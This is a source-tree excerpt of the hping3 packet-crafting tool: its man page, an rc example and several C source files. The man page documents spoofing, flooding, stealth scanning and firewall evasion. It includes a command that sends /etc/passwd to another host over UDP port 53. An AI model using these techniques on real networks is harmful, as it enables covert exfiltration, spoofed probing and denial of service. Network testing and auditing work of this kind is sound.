[+][+]dest port Set destination port, default is 0. If '+' character precedes dest port number (i.e. +1024) destination port will be increased for each reply received. If double '+' precedes dest port number (i.e. ++1024), destination port will be increased for each packet sent. By default destination port can be modified interactively using .BR CTRL+z . .TP .I --keep keep still source port, see .I --baseport for more information. .TP .I -w --win Set TCP window size. Default is 64. .TP .I -O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4. .TP .I -M --tcpseq Set the TCP sequence number. .TP .I -L --tcpack Set the TCP ack. .TP .I -Q --seqnum This option can be used in order to collect sequence numbers generated by target host. This can be useful when you need to analyze whether TCP sequence number is predictable. Output example: .B #hping2 win98 --seqnum -p 139 -S -i u1 -I eth0 .nf HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes 2361294848 +2361294848 2411626496 +50331648 2545844224 +134217728 2713616384 +167772160 2881388544 +167772160 3049160704 +167772160 3216932864 +167772160 3384705024 +167772160 3552477184 +167772160 3720249344 +167772160 3888021504 +167772160 4055793664 +167772160 4223565824 +167772160 .fi The first column reports the sequence number, the second difference between current and last sequence number. As you can see target host's sequence numbers are predictable. .TP .I -b --badcksum Send packets with a bad UDP/TCP checksum. .TP .I --tcp-timestamp Enable the TCP timestamp option, and try to guess the timestamp update frequency and the remote system uptime. .TP .I -F --fin Set FIN tcp flag. .TP .I -S --syn Set SYN tcp flag. .TP .I -R --rst Set RST tcp flag. .TP .I -P --push Set PUSH tcp flag. .TP .I -A --ack Set ACK tcp flag. .TP .I -U --urg Set URG tcp flag. .TP .I -X --xmas Set Xmas tcp flag. .TP .I -Y --ymas Set Ymas tcp flag. .SH COMMON OPTIONS .TP .I -d --data data size Set packet body size. Warning, using --data 40 hping2 will not generate 0 byte packets but protocol_header+40 bytes. hping2 will display packet size information as first line output, like this: .B HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes .TP .I -E --file filename Use .B filename contents to fill packet's data. .TP .I -e --sign signature Fill first .I signature length bytes of data with .IR signature . If the .I signature length is bigger than data size an error message will be displayed. If you don't specify the data size hping will use the signature size as data size. This option can be used safely with .I --file filename option, remainder data space will be filled using .IR filename . .TP .I -j --dump Dump received packets in hex. .TP .I -J --print Dump received packets' printable characters. .TP .I -B --safe Enable safe protocol, using this option lost packets in file transfers will be resent. For example in order to send file /etc/passwd from host A to host B you may use the following: .nf .I [host_a] .B # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd .I [host_b] .B # hping2 host_a --listen signature --safe --icmp .fi .TP .I -u --end If you are using .I --file filename option, tell you when EOF has been reached. Moreover prevent that other end accept more packets. Please, for more information see the .BR HPING2-HOWTO . .TP .I -T --traceroute Traceroute mode. Using this option hping2 will increase ttl for each .B ICMP time to live 0 during transit received. Try .BR "hping2 host --traceroute" . This option implies --bind and --ttl 1. You can override the ttl of 1 using the --ttl option. Since 2.0.0 stable it prints RTT information. .TP .I --tr-keep-ttl Keep the TTL fixed in traceroute mode, so you can monitor just one hop in the route. For example, to monitor how the 5th hop changes or how its RTT changes you can try .BR "hping2 host --traceroute --ttl 5 --tr-keep-ttl" . .TP .I --tr-stop If this option is specified hping will exit once the first packet that isn't an ICMP time exceeded is received. This better emulates the traceroute behavior. .TP .I --tr-no-rtt Don't show RTT information in traceroute mode. The ICMP time exceeded RTT information aren't even calculated if this option is set. .TP .I --tcpexitcode Exit with last received packet tcp->th_flag as exit code. Useful for scripts that need, for example, to known if the port 999 of some host reply with SYN/ACK or with RST in response to SYN, i.e. the service is up or down. .SH TCP OUTPUT FORMAT The standard TCP output format is the following: len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms .B len is the size, in bytes, of the data captured from the data link layer excluding the data link header size. This may not match the IP datagram size due to low level transport layer padding. .B ip is the source ip address. .B flags are the TCP flags, R for RESET, S for SYN, A for ACK, F for FIN, P for PUSH, U for URGENT, X for not standard 0x40, Y for not standard 0x80. If the reply contains .B DF the IP header has the don't fragment bit set. .B seq is the sequence number of the packet, obtained using the source port for TCP/UDP packets, the sequence field for ICMP packets. .B id is the IP ID field. .B win is the TCP window size. .B rtt is the round trip time in milliseconds. If you run hping using the .B -V command line switch it will display additional information about the packet, example: len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0 .B tos is the type of service field of the IP header. .B iplen is the IP total len field. .B seq and ack are the sequence and acknowledge 32bit numbers in the TCP header. .B sum is the TCP header checksum value. .B urp is the TCP urgent pointer value. .SH UDP OUTPUT FORMAT The standard output format is: len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms The field meaning is just the same as the TCP output meaning of the same fields. .SH ICMP OUTPUT FORMAT An example of ICMP output is: ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net It is very simple to understand. It starts with the string "ICMP" followed by the description of the ICMP error, Port Unreachable in the example. The ip field is the IP source address of the IP datagram containing the ICMP error, the name field is just the numerical address resolved to a name (a dns PTR request) or UNKNOWN if the resolution failed. The ICMP Time exceeded during transit or reassembly format is a bit different: TTL 0 during transit from ip=192.168.1.1 name=nano.marmoc.net TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN The only difference is the description of the error, it starts with TTL 0. .SH AUTHOR Salvatore Sanfilippo , with the help of the people mentioned in AUTHORS file and at http://www.hping.org/authors.html .SH BUGS Even using the --end and --safe options to transfer files the final packet will be padded with 0x00 bytes. .PP Data is read without care about alignment, but alignment is enforced in the data structures. This will not be a problem under i386 but, while usually the TCP/IP headers are naturally aligned, may create problems with different processors and bogus packets if there is some unaligned access around the code (hopefully none). .PP On solaris hping does not work on the loopback interface. This seems a solaris problem, as stated in the tcpdump-workers mailing list, so the libpcap can't do nothing to handle it properly. .SH SEE ALSO ping(8), traceroute(8), ifconfig(8), nmap(1)hping3-3.a2.ds2/docs/hping2rc.example000066400000000000000000000006151021454026700174220ustar00rootroot00000000000000# Example hping2rc adding support for readline catch {package require tclreadline} if {[catch {package present tclreadline} x]} { puts $x set has_readline 0 } else { set has_readline 1 } if {$tcl_interactive && $has_readline} { package require tclreadline proc ::tclreadline::prompt1 {} { global hping_version return "hping$hping_version\> " } tclreadline::Loop } hping3-3.a2.ds2/docs/hping3.8000066400000000000000000000504141021454026700156140ustar00rootroot00000000000000.TH HPING2 8 "2001 Aug 14" .SH NAME hping2 \- send (almost) arbitrary TCP/IP packets to network hosts .SH SYNOPSIS .B hping2 [ .B \-hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG ] [ .B \-c .I count ] [ .B \-i .I wait ] [ .B \-\-fast ] [ .B \-I .I interface ] [ .B \-9 .I signature ] [ .B \-a .I host ] [ .B \-t .I ttl ] [ .B \-N .I ip id ] [ .B \-H .I ip protocol ] [ .B \-g .I fragoff ] [ .B \-m .I mtu ] [ .B \-o .I tos ] [ .B \-C .I icmp type ] [ .B \-K .I icmp code ] [ .B \-s .I source port ] [ .B \-p[+][+] .I dest port ] [ .B \-w .I tcp window ] [ .B \-O .I tcp offset ] [ .B \-M .I tcp sequence number ] [ .B \-L .I tcp ack ] [ .B \-d .I data size ] [ .B \-E .I filename ] [ .B \-e .I signature ] [ .B \-\-icmp\-ipver .I version ] [ .B \-\-icmp\-iphlen .I length ] [ .B \-\-icmp\-iplen .I length ] [ .B \-\-icmp\-ipid .I id ] [ .B \-\-icmp\-ipproto .I protocol ] [ .B \-\-icmp\-cksum .I checksum ] [ .B \-\-icmp\-ts ] [ .B \-\-icmp\-addr ] [ .B \-\-tcpexitcode ] [ .B \-\-tcp-timestamp ] [ .B \-\-tr-stop ] [ .B \-\-tr-keep-ttl ] [ .B \-\-tr-no-rtt ] [ .B \-\-rand-dest ] [ .B \-\-rand-source ] [ .B \-\-beep ] hostname .br .ad .SH DESCRIPTION hping2 is a network tool able to send custom TCP/IP packets and to display target replies like ping program does with ICMP replies. hping2 handle fragmentation, arbitrary packets body and size and can be used in order to transfer files encapsulated under supported protocols. Using hping2 you are able to perform at least the following stuff: - Test firewall rules - Advanced port scanning - Test net performance using different protocols, packet size, TOS (type of service) and fragmentation. - Path MTU discovery - Transferring files between even really fascist firewall rules. - Traceroute-like under different protocols. - Firewalk-like usage. - Remote OS fingerprinting. - TCP/IP stack auditing. - A lot of others. .IR "It's also a good didactic tool to learn TCP/IP" . hping2 is developed and maintained by antirez@invece.org and is licensed under GPL version 2. Development is open so you can send me patches, suggestion and affronts without inhibitions. .SH HPING SITE primary site at .BR http://www.hping.org . You can found both the stable release and the instruction to download the latest source code at http://www.hping.org/download.html .SH BASE OPTIONS .TP .I -h --help Show an help screen on standard output, so you can pipe to less. .TP .I -v --version Show version information and API used to access to data link layer, .I linux sock packet or .IR libpcap. .TP .I -c --count count Stop after sending (and receiving) .I count response packets. After last packet was send hping2 wait COUNTREACHED_TIMEOUT seconds target host replies. You are able to tune COUNTREACHED_TIMEOUT editing hping2.h .TP .I -i --interval Wait the specified number of seconds or micro seconds between sending each packet. --interval X set .I wait to X seconds, --interval uX set .I wait to X micro seconds. The default is to wait one second between each packet. Using hping2 to transfer files tune this option is really important in order to increase transfer rate. Even using hping2 to perform idle/spoofing scanning you should tune this option, see .B HPING2-HOWTO for more information. .TP .I --fast Alias for -i u10000. Hping will send 10 packets for second. .TP .I --faster Alias for -i u1. Faster then --fast ;) (but not as fast as your computer can send packets due to the signal-driven design). .TP .I --flood Sent packets as fast as possible, without taking care to show incoming replies. This is ways faster than to specify the -i u0 option. .TP .I -n --numeric Numeric output only, No attempt will be made to lookup symbolic names for host addresses. .TP .I -q --quiet Quiet output. Nothing is displayed except the summary lines at startup time and when finished. .TP .I -I --interface interface name By default on linux and BSD systems hping2 uses default routing interface. In other systems or when there is no default route hping2 uses the first non-loopback interface. However you are able to force hping2 to use the interface you need using this option. Note: you don't need to specify the whole name, for example -I et will match eth0 ethernet0 myet1 et cetera. If no interfaces match hping2 will try to use lo. .TP .I -V --verbose Enable verbose output. TCP replies will be shown as follows: len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0 .TP .I -D --debug Enable debug mode, it's useful when you experience some problem with hping2. When debug mode is enabled you will get more information about .B interface detection, data link layer access, interface settings, options .B parsing, fragmentation, HCMP protocol and other stuff. .TP .I -z --bind Bind CTRL+Z to .B time to live (TTL) so you will able to increment/decrement ttl of outgoing packets pressing CTRL+Z once or twice. .TP .I -Z --unbind Unbind CTRL+Z so you will able to stop hping2. .TP .I --beep Beep for every matching received packet (but not for ICMP errors). .SH PROTOCOL SELECTION Default protocol is TCP, by default hping2 will send tcp headers to target host's port 0 with a winsize of 64 without any tcp flag on. Often this is the best way to do an 'hide ping', useful when target is behind a firewall that drop ICMP. Moreover a tcp null-flag to port 0 has a good probability of not being logged. .TP .I -0 --rawip RAW IP mode, in this mode hping2 will send IP header with data appended with --signature and/or --file, see also --ipproto that allows you to set the ip protocol field. .TP .I -1 --icmp ICMP mode, by default hping2 will send ICMP echo-request, you can set other ICMP type/code using .B --icmptype --icmpcode options. .TP .I -2 --udp UDP mode, by default hping2 will send udp to target host's port 0. UDP header tunable options are the following: .B --baseport, --destport, --keep. .TP .I -8 --scan Scan mode, the option expects an argument that describes groups of ports to scan. port groups are comma separated: a number describes just a single port, so 1,2,3 means port 1, 2 and 3. ranges are specified using a start-end notation, like 1-1000, that tell hping to scan ports between 1 and 1000 (included). the special word .B all is an alias for 0-65535, while the special word .B known includes all the ports listed in /etc/services. .br Groups can be combined, so the following command line will scan ports between 1 and 1000 AND port 8888 AND ports listed in /etc/services: .B hping --scan 1-1000,8888,known -S target.host.com .br Groups can be negated (subtracted) using a ! character as prefix, so the following command line will scan all the ports NOT listed in /etc/services in the range 1-1024: .B hping --scan '1-1024,!known' -S target.host.com .br Keep in mind that while hping seems much more like a port scanner in this mode, most of the hping switches are still honored, so for example to perform a SYN scan you need to specify the .B -S option, you can change the TCP windows size, TTL, control the IP fragmentation as usually, and so on. The only real difference is that the standard hping behaviors are encapsulated into a scanning algorithm. .br .BR "Tech note" : The scan mode uses a two-processes design, with shared memory for synchronization. The scanning algorithm is still not optimal, but already quite fast. .br .BR Hint : unlike most scanners, hping shows some interesting info about received packets, the IP ID, TCP win, TTL, and so on, don't forget to look at this additional information when you perform a scan! Sometimes they shows interesting details. .TP .I -9 --listen signature HPING2 listen mode, using this option hping2 waits for packet that contain .I signature and dump from .I signature end to packet's end. For example if hping2 --listen TEST reads a packet that contain .B 234-09sdflkjs45-TESThello_world it will display .BR hello_world . .SH IP RELATED OPTIONS .TP .I -a --spoof hostname Use this option in order to set a fake IP source address, this option ensures that target will not gain your real address. However replies will be sent to spoofed address, so you will can't see them. In order to see how it's possible to perform spoofed/idle scanning see the .BR HPING2-HOWTO . .TP .I --rand-source This option enables the .BR "random source mode" . hping will send packets with random source address. It is interesting to use this option to stress firewall state tables, and other per-ip basis dynamic tables inside the TCP/IP stacks and firewall software. .TP .I --rand-dest This option enables the .BR "random destination mode" . hping will send the packets to random addresses obtained following the rule you specify as the target host. You need to specify a numerical IP address as target host like .BR 10.0.0.x . All the occurrences of .B x will be replaced with a random number in the range 0-255. So to obtain Internet IP addresses in the whole IPv4 space use something like .BR "hping x.x.x.x --rand-dest" . If you are not sure about what kind of addresses your rule is generating try to use the .B --debug switch to display every new destination address generated. When this option is turned on, matching packets will be accept from all the destinations. .br .BR Warning : when this option is enabled hping can't detect the right outgoing interface for the packets, so you should use the .B --interface option to select the desired outgoing interface. .TP .I -t --ttl time to live Using this option you can set .B TTL (time to live) of outgoing packets, it's likely that you will use this with .B --traceroute or .B --bind options. If in doubt try .BR "" "`" "hping2 some.host.com -t 1 --traceroute" "'." .TP .I -N --id Set ip->id field. Default id is random but if fragmentation is turned on and id isn't specified it will be .BR "getpid() & 0xFF" , to implement a better solution is in TODO list. .TP .I -H --ipproto Set the ip protocol in RAW IP mode. .TP .I -W --winid id from Windows* systems before Win2k has different byte ordering, if this option is enable hping2 will properly display id replies from those Windows. .TP .I -r --rel Display id increments instead of id. See the .B HPING2-HOWTO for more information. Increments aren't computed as id[N]-id[N-1] but using packet loss compensation. See relid.c for more information. .TP .I -f --frag Split packets in more fragments, this may be useful in order to test IP stacks fragmentation performance and to test if some packet filter is so weak that can be passed using tiny fragments (anachronistic). Default 'virtual mtu' is 16 bytes. see also .I --mtu option. .TP .I -x --morefrag Set more fragments IP flag, use this option if you want that target host send an .BR "ICMP time-exceeded during reassembly" . .TP .I -y --dontfrag Set don't fragment IP flag, this can be used to perform .BR "MTU path discovery" . .TP .I -g --fragoff fragment offset value Set the fragment offset. .TP .I -m --mtu mtu value Set different 'virtual mtu' than 16 when fragmentation is enabled. If packets size is greater that 'virtual mtu' fragmentation is automatically turned on. .TP .I -o --tos hex_tos Set .BR "Type Of Service (TOS)" , for more information try .BR "--tos help" . .TP .I -G --rroute Record route. Includes the RECORD_ROUTE option in each packet sent and displays the route buffer of returned packets. Note that the IP header is only large enough for nine such routes. Many hosts ignore or discard this option. Also note that using hping you are able to use record route even if target host filter ICMP. Record route is an IP option, not an ICMP option, so you can use record route option even in TCP and UDP mode. .SH ICMP RELATED OPTIONS .TP .I -C --icmptype type Set icmp type, default is .B ICMP echo request (implies --icmp). .TP .I -K --icmpcode code Set icmp code, default is 0 (implies --icmp). .TP .I --icmp-ipver Set IP version of IP header contained into ICMP data, default is 4. .TP .I --icmp-iphlen Set IP header length of IP header contained into ICMP data, default is 5 (5 words of 32 bits). .TP .I --icmp-iplen Set IP packet length of IP header contained into ICMP data, default is the real length. .TP .I --icmp-ipid Set IP id of IP header contained into ICMP data, default is random. .TP .I --icmp-ipproto Set IP protocol of IP header contained into ICMP data, default is TCP. .TP .I --icmp-cksum Set ICMP checksum, for default is the valid checksum. .TP .I --icmp-ts Alias for --icmptype 13 (to send ICMP timestamp requests). .TP .I --icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests). .SH TCP/UDP RELATED OPTIONS .TP .I -s --baseport source port hping2 uses source port in order to guess replies sequence number. It starts with a base source port number, and increase this number for each packet sent. When packet is received sequence number can be computed as .IR "replies.dest.port - base.source.port" . Default base source port is random, using this option you are able to set different number. If you need that source port not be increased for each sent packet use the .I -k --keep option. .TP .I -p --destport [+][+]dest port Set destination port, default is 0. If '+' character precedes dest port number (i.e. +1024) destination port will be increased for each reply received. If double '+' precedes dest port number (i.e. ++1024), destination port will be increased for each packet sent. By default destination port can be modified interactively using .BR CTRL+z . .TP .I --keep keep still source port, see .I --baseport for more information. .TP .I -w --win Set TCP window size. Default is 64. .TP .I -O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4. .TP .I -M --tcpseq Set the TCP sequence number. .TP .I -L --tcpack Set the TCP ack. .TP .I -Q --seqnum This option can be used in order to collect sequence numbers generated by target host. This can be useful when you need to analyze whether TCP sequence number is predictable. Output example: .B #hping2 win98 --seqnum -p 139 -S -i u1 -I eth0 .nf HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes 2361294848 +2361294848 2411626496 +50331648 2545844224 +134217728 2713616384 +167772160 2881388544 +167772160 3049160704 +167772160 3216932864 +167772160 3384705024 +167772160 3552477184 +167772160 3720249344 +167772160 3888021504 +167772160 4055793664 +167772160 4223565824 +167772160 .fi The first column reports the sequence number, the second difference between current and last sequence number. As you can see target host's sequence numbers are predictable. .TP .I -b --badcksum Send packets with a bad UDP/TCP checksum. .TP .I --tcp-timestamp Enable the TCP timestamp option, and try to guess the timestamp update frequency and the remote system uptime. .TP .I -F --fin Set FIN tcp flag. .TP .I -S --syn Set SYN tcp flag. .TP .I -R --rst Set RST tcp flag. .TP .I -P --push Set PUSH tcp flag. .TP .I -A --ack Set ACK tcp flag. .TP .I -U --urg Set URG tcp flag. .TP .I -X --xmas Set Xmas tcp flag. .TP .I -Y --ymas Set Ymas tcp flag. .SH COMMON OPTIONS .TP .I -d --data data size Set packet body size. Warning, using --data 40 hping2 will not generate 0 byte packets but protocol_header+40 bytes. hping2 will display packet size information as first line output, like this: .B HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes .TP .I -E --file filename Use .B filename contents to fill packet's data. .TP .I -e --sign signature Fill first .I signature length bytes of data with .IR signature . If the .I signature length is bigger than data size an error message will be displayed. If you don't specify the data size hping will use the signature size as data size. This option can be used safely with .I --file filename option, remainder data space will be filled using .IR filename . .TP .I -j --dump Dump received packets in hex. .TP .I -J --print Dump received packets' printable characters. .TP .I -B --safe Enable safe protocol, using this option lost packets in file transfers will be resent. For example in order to send file /etc/passwd from host A to host B you may use the following: .nf .I [host_a] .B # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd .I [host_b] .B # hping2 host_a --listen signature --safe --icmp .fi .TP .I -u --end If you are using .I --file filename option, tell you when EOF has been reached. Moreover prevent that other end accept more packets. Please, for more information see the .BR HPING2-HOWTO . .TP .I -T --traceroute Traceroute mode. Using this option hping2 will increase ttl for each .B ICMP time to live 0 during transit received. Try .BR "hping2 host --traceroute" . This option implies --bind and --ttl 1. You can override the ttl of 1 using the --ttl option. Since 2.0.0 stable it prints RTT information. .TP .I --tr-keep-ttl Keep the TTL fixed in traceroute mode, so you can monitor just one hop in the route. For example, to monitor how the 5th hop changes or how its RTT changes you can try .BR "hping2 host --traceroute --ttl 5 --tr-keep-ttl" . .TP .I --tr-stop If this option is specified hping will exit once the first packet that isn't an ICMP time exceeded is received. This better emulates the traceroute behavior. .TP .I --tr-no-rtt Don't show RTT information in traceroute mode. The ICMP time exceeded RTT information aren't even calculated if this option is set. .TP .I --tcpexitcode Exit with last received packet tcp->th_flag as exit code. Useful for scripts that need, for example, to known if the port 999 of some host reply with SYN/ACK or with RST in response to SYN, i.e. the service is up or down. .SH TCP OUTPUT FORMAT The standard TCP output format is the following: len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms .B len is the size, in bytes, of the data captured from the data link layer excluding the data link header size. This may not match the IP datagram size due to low level transport layer padding. .B ip is the source ip address. .B flags are the TCP flags, R for RESET, S for SYN, A for ACK, F for FIN, P for PUSH, U for URGENT, X for not standard 0x40, Y for not standard 0x80. If the reply contains .B DF the IP header has the don't fragment bit set. .B seq is the sequence number of the packet, obtained using the source port for TCP/UDP packets, the sequence field for ICMP packets. .B id is the IP ID field. .B win is the TCP window size. .B rtt is the round trip time in milliseconds. If you run hping using the .B -V command line switch it will display additional information about the packet, example: len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0 .B tos is the type of service field of the IP header. .B iplen is the IP total len field. .B seq and ack are the sequence and acknowledge 32bit numbers in the TCP header. .B sum is the TCP header checksum value. .B urp is the TCP urgent pointer value. .SH UDP OUTPUT FORMAT The standard output format is: len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms The field meaning is just the same as the TCP output meaning of the same fields. .SH ICMP OUTPUT FORMAT An example of ICMP output is: ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net It is very simple to understand. It starts with the string "ICMP" followed by the description of the ICMP error, Port Unreachable in the example. The ip field is the IP source address of the IP datagram containing the ICMP error, the name field is just the numerical address resolved to a name (a dns PTR request) or UNKNOWN if the resolution failed. The ICMP Time exceeded during transit or reassembly format is a bit different: TTL 0 during transit from ip=192.168.1.1 name=nano.marmoc.net TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN The only difference is the description of the error, it starts with TTL 0. .SH AUTHOR Salvatore Sanfilippo , with the help of the people mentioned in AUTHORS file and at http://www.hping.org/authors.html .SH BUGS Even using the --end and --safe options to transfer files the final packet will be padded with 0x00 bytes. .PP Data is read without care about alignment, but alignment is enforced in the data structures. This will not be a problem under i386 but, while usually the TCP/IP headers are naturally aligned, may create problems with different processors and bogus packets if there is some unaligned access around the code (hopefully none). .PP On solaris hping does not work on the loopback interface. This seems a solaris problem, as stated in the tcpdump-workers mailing list, so the libpcap can't do nothing to handle it properly. .SH SEE ALSO ping(8), traceroute(8), ifconfig(8), nmap(1) hping3-3.a2.ds2/fixtypes.h000066400000000000000000000005121021454026700154210ustar00rootroot00000000000000#ifndef HPING3_FIXTYPES_H #define HPING3_FIXTYPES_H #ifdef __sun__ typedef char int_8_t; typedef unsigned char u_int8_t; typedef short int_16_t; typedef unsigned short u_int16_t; typedef int int_32_t; typedef unsigned int u_int32_t; #endif #endif hping3-3.a2.ds2/gentables.c000066400000000000000000000101771021454026700155150ustar00rootroot00000000000000#include #include #include #include "sbignum.h" static char *cset = "0123456789abcdefghijklmnopqrstuvwxyz"; static void gen_cset(int hdr); static void gen_rcset(int hdr); static void gen_bitstable(int hdr); static void gen_basetable(int hdr); static void _gen_basetable(int bytes, double base); static void gen_basepowtable(int hdr); static void _gen_basepowtable(int bytes, double base); static unsigned long lexp(unsigned long b, int e); static int nbits(unsigned char x); static double logbn(double base, double n); #define EFL 16 /* elements for line */ int main(int argc, char **argv) { int hdr = argc-1; argv = argv; if (hdr) { printf( "#ifndef _SBN_TABLES_H\n" "#define _SBN_TABLES_H\n" "\n" "#include \n\n"); } else { printf( "#include \"tables.h\"\n" "#include \"sbignum.h\"\n\n"); } gen_cset(hdr); gen_rcset(hdr); gen_bitstable(hdr); gen_basetable(hdr); gen_basepowtable(hdr); if (hdr) { printf("\n#endif /* _SBN_TABLES_H */\n"); } return 0; } void gen_cset(int hdr) { if (hdr) { printf("extern char *cset;\n"); return; } printf("/* maps a number to a char */\n"); printf("char *cset = \"%s\";\n\n", cset); } void gen_rcset(int hdr) { int i; if (hdr) { printf("extern int8_t r_cset[256];\n"); return; } printf("/* maps a char to a number */\n"); printf("int8_t r_cset[256] = {\n"); for (i = 0; i < 256; i++) { char *p; p = strchr(cset, i); if (!(i%EFL)) printf("\t"); if (!p || !i) { printf("-1, "); } else { printf("%2d, ", p-cset); } if (!((i+1) % EFL)) printf("\n"); } printf("};\n\n"); } int nbits(unsigned char x) { int i = 8; int bits = 0; do { bits += x & 1; x >>= 1; } while(--i); return bits; } void gen_bitstable(int hdr) { int i; if (hdr) { printf("extern int8_t bitstable[256];\n"); return; } printf("/* bitstable[n] is the number of set bits\n" " * in the number 'n' */\n"); printf("int8_t bitstable[256] = {\n"); for (i = 0; i < 256; i++) { if (!(i%EFL)) printf("\t"); printf("%d, ", nbits(i)); if (!((i+1) % EFL)) printf("\n"); } printf("};\n\n"); } double logbn(double base, double n) { return log(n)/log(base); } void _gen_basetable(int bytes, double base) { int i; printf("#if ATOMBYTES == %d\n", bytes); printf("double basetable[%d] = {\n", SBN_MAXBASE+1); for (i = 0; i <= SBN_MAXBASE; i++) { if (i < 2) { printf("\t0, /* unused */\n"); continue; } printf("\t%f, /* (log of %d in base %.0f) */\n", logbn(i, base), i, base); } printf("};\n#endif\n\n"); } #define BT_8BITBASE 256U #define BT_16BITBASE 65536U #define BT_32BITBASE 4294967296U void gen_basetable(int hdr) { if (hdr) { printf("extern double basetable[%d];\n", SBN_MAXBASE+1); return; } printf("/* basetable[b] = number of digits needed to convert\n" " * an mpz atom in base 'b' */\n"); _gen_basetable(1, BT_8BITBASE); _gen_basetable(2, BT_16BITBASE); _gen_basetable(4, BT_32BITBASE); } /* return b^e */ unsigned long lexp(unsigned long b, int e) { unsigned long p = b; if (!e) return 1; while(--e) p *= b; return p; } void _gen_basepowtable(int bytes, double base) { int i; base--; printf("#if ATOMBYTES == %d\n", bytes); printf("struct sbn_basepow basepowtable[%d] = {\n", SBN_MAXBASE+1); for (i = 0; i <= SBN_MAXBASE; i++) { unsigned long bexp; unsigned long bpow; if (i < 2) { printf("\t{0,0}, /* unused */\n"); continue; } bexp = (unsigned long) floor(logbn(i, base)); bpow = lexp(i, bexp); printf("\t{%luU, %luU}, /* floor(log of %d in base %.0f) */\n", bpow, bexp, i, base); } printf("};\n#endif\n\n"); } void gen_basepowtable(int hdr) { if (hdr) { printf( "struct sbn_basepow {\n" " unsigned long maxpow;\n" " unsigned long maxexp;\n" "};\n"); printf("extern struct sbn_basepow basepowtable[%d];\n", SBN_MAXBASE+1); return; } printf( "/* basepowtable[b] = the first column is the biggest power of 'b'\n" " * that fits in mpz_atom_t, the second column is the exponent\n" " * 'e' so that b^e = the value of the first column */\n"); _gen_basepowtable(1, BT_8BITBASE); _gen_basepowtable(2, BT_16BITBASE); _gen_basepowtable(4, BT_32BITBASE); } hping3-3.a2.ds2/gentables.sh000077500000000000000000000002301021454026700156750ustar00rootroot00000000000000#!/bin/sh CC=${CC:=cc} CCOPT="-Wall -W -O2" $CC gentables.c -o gentables $CCOPT ./gentables > tables.c ./gentables h > tables.h echo Tables generated hping3-3.a2.ds2/gethostname.c000066400000000000000000000022601021454026700160610ustar00rootroot00000000000000/* * $smu-mark$ * $name: gethostname.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:47 MET 1999$ * $rev: 8$ */ /* $Id: gethostname.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include #include #include #include #include size_t strlcpy(char *dst, const char *src, size_t siz); char *get_hostname(char* addr) { static char answer[1024]; static char lastreq[1024] = {'\0'}; /* last request */ struct hostent *he; struct in_addr naddr; static char *last_answerp = NULL; printf(" get hostname..."); fflush(stdout); printf("\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b" " " "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b"); if (!strcmp(addr, lastreq)) return last_answerp; strlcpy(lastreq, addr, 1024); inet_aton(addr, &naddr); he = gethostbyaddr((char*)&naddr, 4, AF_INET); if (he == NULL) { last_answerp = NULL; return NULL; } strlcpy(answer, he->h_name, 1024); last_answerp = answer; return answer; } hping3-3.a2.ds2/getifname.c000066400000000000000000000221761021454026700155120ustar00rootroot00000000000000/* getifname.c -- network interface handling * Copyright(C) 1999,2000,2001 Salvatore Sanfilippo * Copyright(C) 2001 by Nicolas Jombart * This code is under the GPL license */ /* BSD support thanks to Nicolas Jombart */ /* $Id: getifname.c,v 1.3 2003/10/22 10:41:00 antirez Exp $ */ #include /* perror */ #include #include #include #include #include /* struct sockaddr_in */ #include /* inet_ntoa */ #include #include /* close */ #include #if defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__NetBSD__) || \ defined(__bsdi__) || defined(__APPLE__) #include #include #endif /* defined(__*BSD__) */ #include "hping2.h" #include "globals.h" #if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \ !defined(__linux__) && !defined(__sun__) && !defined(__bsdi__) && \ !defined(__APPLE__) #error Sorry, interface code not implemented. #endif #ifdef __sun__ #include #include #include #endif #if (defined OSTYPE_LINUX) || (defined __sun__) int get_if_name(void) { int fd; struct ifconf ifc; struct ifreq ibuf[16], ifr, *ifrp, *ifend; struct sockaddr_in sa; struct sockaddr_in output_if_addr; int known_output_if = 0; /* Try to get the output interface address according to * the OS routing table */ if (ifname[0] == '\0') { if (get_output_if(&remote, &output_if_addr) == 0) { known_output_if = 1; if (opt_debug) printf("DEBUG: Output interface address: %s\n", inet_ntoa(sa.sin_addr)); } else { fprintf(stderr, "Warning: Unable to guess the output " "interface\n"); } } if ( (fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { perror("[get_if_name] socket(AF_INET, SOCK_DGRAM, 0)"); return -1; } memset(ibuf, 0, sizeof(struct ifreq)*16); ifc.ifc_len = sizeof ibuf; ifc.ifc_buf = (caddr_t) ibuf; /* 